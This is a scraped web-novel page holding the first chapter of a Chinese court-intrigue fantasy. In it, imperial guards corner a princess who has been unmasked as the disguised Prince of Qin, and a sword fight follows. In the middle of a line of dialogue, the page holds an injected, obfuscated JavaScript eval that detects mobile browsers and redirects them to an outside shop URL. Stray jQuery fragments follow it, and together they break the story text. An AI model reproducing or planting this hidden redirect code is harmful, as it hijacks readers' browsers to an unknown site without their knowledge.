文趣网 > 玄幻小说 > 为帝 > 1. 秋风秋雨杀君臣
    成吉二十三年秋,青槐道,雨。

    泥泞的马道上疾驰过一队铁骑,雨点滴落在刀柄处,清冷的音色淹没在雷踏般轰鸣的马蹄声中。

    “锦衣卫奉旨办差,闲杂人等速速闪开!!!”

    过路的商队与行人无不退让,待到马蹄声远去,众人的心跳声尚且未平复下来,你望我我望你皆不清楚发生了何事。

    为首的缇骑身着丹朱麒麟服,余者皆佩绣春刀。

    出动正三品锦衣卫指挥使?——那被追捕的人又该是何等人物?!

    轰隆隆——!!!

    雨仍在下,伴随着割裂天幕的闪电,昏沉沉的天空之上,猎鹰盘旋。

    锦衣卫诸人面容冷峻,他们紧跟着鹰隼指路转道追入郁郁苍苍的山林。

    锦衣卫指挥使齐晔咬紧牙关,必须抓紧时间将人找出来,不然对方借此处山林脱身,他们这些没办好差的锦衣卫都得人头落地!

    “哗——!”

    细小的树枝在众人脸上留下不少血痕,破碎的叶片戳进双眼里,众人心中皆骂娘——这要命的鬼差事!

    不过好在近了!

    耳力过人的锦衣卫们即便是在雨声的掩护下也听得到前方形单影只的马蹄声。

    不远了……两日一夜,人疲马倦,更何况还带着一人,能逃到这已是不易。

    就在这时马蹄声消失了!

    齐晔示意众人不要轻举妄动,他们屏息凝神——

    不,不是消失!

    对方没再逃,反而停留在了原地。

    齐晔勒住缰绳,刚欲扬声——“砰!”

    盘旋在众人头顶的猎鹰发出一声惨厉的尖啸,它骤然受到重击径直坠入山涧,跌得粉身碎骨!

    尘泥轻溅、雾雨蒙蒙的林间霎时飘来一阵刺鼻的硫磺味,齐晔瞳孔骤然紧缩——是火铳!

    “散开!”齐晔厉声喝道,他拔刀下马,心中冷意直生。

    竟让对方射杀了仅剩的一只猎鹰!

    林叶密布的树丛和淅淅沥沥的雨幕遮挡视线,令对方的身影都有些看不真切。

    先前飘散开来的硝石硫磺味已被山谷雨后的土腥所覆盖,雨滴重重地打在枯黄的树叶上,叶片不堪重负,旋落而下,悠悠间只听前方传来一声略带责怪的叹息:

    “淋了这么一些雨就坏,工部那群人学问还是没到家啊。我早和父皇说过要改良火铳,瞧,这回可是真要坑死人。”

    对方语调平静,生死关头却仍有余力打趣着身居九重阙的帝王。

    齐晔听到声音后,心下一定。

    齐晔未将绣春刀收回鞘中,恭敬道:“您待下向来宽厚,眼下已至绝路,不若让咱们这些办差的弟兄们都好好回家。”

    “秦王……”齐晔话语一转,直截了当地拆穿,“——公主殿下,您意下如何?”

    “本王没拦你们,诸位随时可走,但要是听本王六哥的话,要一并将本王的项上人头带回平梁,是不是有些过分?”

    锦衣卫望着此刻露出庐山真面的秦王孟显允,她一路逃离,额发垂落混着雨水贴在脸庞上,狼狈却依旧凌厉。

    显允君子,莫不令德。【1】

    秦王孟显允,配这句话绰绰有余。

    可孟显允是女子!

    女子如何能承继大统?!

    且孟显允李代桃僵多年,意图大陈江山,实乃狼子野心!

    文武百官群情激奋,此女断不可留!

    ——当诛!

    “晋王殿下已为新帝,公主殿下比我们这群大老粗更明白君要臣死,臣不得不死的道理。”齐晔横刀在身前,紧紧盯着孟显允。

    孟显允手段非常,决不能以性别轻视,更何况……齐晔拇指用力抵在刀锷,眼神一个示意,便让其余锦衣卫盯住这位殿下的身后。

    “公主殿下,还未请问,沈世子在何处?”

    宫中叛乱,先帝垂危,晋王在贤妃及大臣的拥护下摄政,连发数道密旨令锦衣卫追杀秦王孟显允及一并出逃平梁的沈四子沈观复。

    昔年沈家将幼子留在京中为质,携三十万大军在边关抵御瓦剌和鞑靼,可如今沈侯爷与其子接连战死,沈观复回去便是人心所向!

    皇帝和诸臣又如何能挟制沈观复这头蛰伏数十年一夕归山的猛虎?!

    孟显允背手在身后缠紧了仍在流血的三指,她神色浅淡,不怒自威。

    她垂眸睥睨诸臣:“你在问本王?”

    众人闻言背脊微微生凉。

    “既有往日的情谊,本王予你行个方便,”孟显允手一指,道,“此去西北向,急行军需半日有余,不过换做你们,不需五个时辰便能瞧见远疾扬起的尘灰……”

    孟显允话语未尽,手挑势起,唐横刀割裂秋风在晦暗的丛林中乍起一抹极亮极寒的刀芒!

    不好!

    急欲往西北向追去的一名锦衣卫被刀光闪着了双眼,已无法躲过!

    孟显允的长刀转瞬而至,刀尖顺着他甲胄间的缝隙破开没入胸膛,扬起一泼温热的鲜血!

    “……”

    孟显允:“急什么。”

    就在此时雨突然下大了,鲜红的血液沿着锋利的刀刃向下流,秋雨不仅冲淡了刀尖处的血迹,且落在众人身上平添几分寒凉。

    孟显允举刀与锦衣卫对峙:“本王说过你们可以去追吗?”

    雨滴打湿了孟显允浓密的眼睫,乱了几绺的黑发搭在她的脸颊与颈项,从袖口露出的手背上缠死了被血洇湿的绷带——不难想象她和沈世子是如何从诸多禁军的围攻当中厮杀出来。

    众人差点就要忘了——

    孟显允即便是女子,那也是名满天下文武双全的秦王殿下!

    “君要臣死,臣不得不死……这道理你让孟华允亲自来同本王讲!”孟显允厉声呵斥:“诸位各为其主与本王缠斗本王无话可说!但边关告急,烽烟再起,汝等若敢截杀沈世子就休怪本王不顾念昔年同僚之情!”

    锦衣卫的眼神落在倒地不起的同袍身上,刚才那一下,秦王殿下是真动杀心了!

    孟显允尽量使呼吸平稳,宽大的袖口遮掩住了她因脱力而震颤的手腕。

    孟显允手持长刀,刀锋直视齐晔:

    “齐九君,这些年你与本王交手数十次,难道就不想赢一回吗?”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490795|202214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    诸位,”孟显允环视在场的每一位锦衣卫,她用拇指比划着自己的脖颈:“新帝登基,本王这位“皇子”的人头才值钱,是诸位加官进爵的敲门砖——”

    追什么沈世子,他自有他的去处。

    可若日后边关战事烧到了中原腹地,哪里还用等皇帝处死他们,大家脑袋往裤腰带一拎都他娘的去和瓦剌人拼命!

    锦衣卫们纷纷看向自己的上峰,在确定齐晔不欲派人向西北向追过去后,他们握紧刀把提刀而上!

    “铿——!”刀刃相接溅起耀目的火星,孟显允借势挑去右方的刀势,避开后方的攻击后,轻身跃起借力一脚踹在对方的胸膛之上!

    不断相接的刀影又快又密,泥水四溅,污浊视线,孟显允刀刃翻转间破出冷白的锋芒,在收势来回间刀刃几乎要割断了锦衣卫的脖子!

    齐晔并未抢占先机,他望向摔晕在树干旁的下属,这个力道——轻了。

    雨越下越大,原先寒凉的秋雨已有肃杀之态。

    齐晔凝视着孟显允身上所穿的玄色错金龙纹盘领窄袖袍,衣裳上有几处污浊,颜色过于深、过于厚重,痕迹正逐渐扩大。

    ——那是没止住的血,正从里到外晕染开来。

    齐晔横刀劈下,短兵相接的铿锵声硬生生在孟显允的刀刃上砍出了一道豁口,力道大到几乎要震落了孟显允的刀,逼得她不得不收刀回避。

    齐晔盯住孟显允如徽墨般幽深的双眸:“殿下,何苦呢?”

    “即便是用衣带缠住手腕与刀把也无用,我刚刚的招式再来一次,您这手可就要废了。”

    被识破后,孟显允没有再度挥刃,正如齐晔所说的那般——要断了。

    她手轻微颤抖着,不待撑起身,齐晔的绣春刀就已架在了她的脖子上:“殿下,认了吧。”

    “认什么?”孟显允嗤笑着反问这位官居三品的指挥使。

    “成王败寇?可本王一出生就是女子,输在了哪一处?晋王孟华允是男子又如何,除去性别,他又在哪一处胜了本王?!”

    “你是要本王认这世上的不公吗?”

    孟显允静静地睇望着齐晔:“真可笑啊,就连你的冤屈、你身上所背负的数十条性命都是本王帮你平反,本王助你站直了身。”

    “而今,曾陷入囹圄,能够对本王感同身受的锦衣卫指挥使却要本王低头去认?”

    孟显允笑容里掺着几分凉意与讥讽:“白云苍狗,世事沧桑,齐九君,你不是我当年认识的少年郎。”

    “虽然不算变得面目全非,但总归是……不可爱了。”

    齐晔皱起眉头,从始至终他的眼中都没有一丝一毫的杀意,他叹气:“……殿下,我知道,您在攻心。”

    “我说不过您,所以您说的这些,我都认。”

    齐晔与孟显允对望,陈述着:“可是殿下,回不去了。”

    从身份被戳穿的那一刻、在孟显允没有直接篡位时,所有事都回不去了。

    齐晔并没有将刀收回去,他将刀刃对换了方向:“沈观复命格与您犯冲,他配不上您。”

    齐晔:“日后……不要再走到同一条路上了。”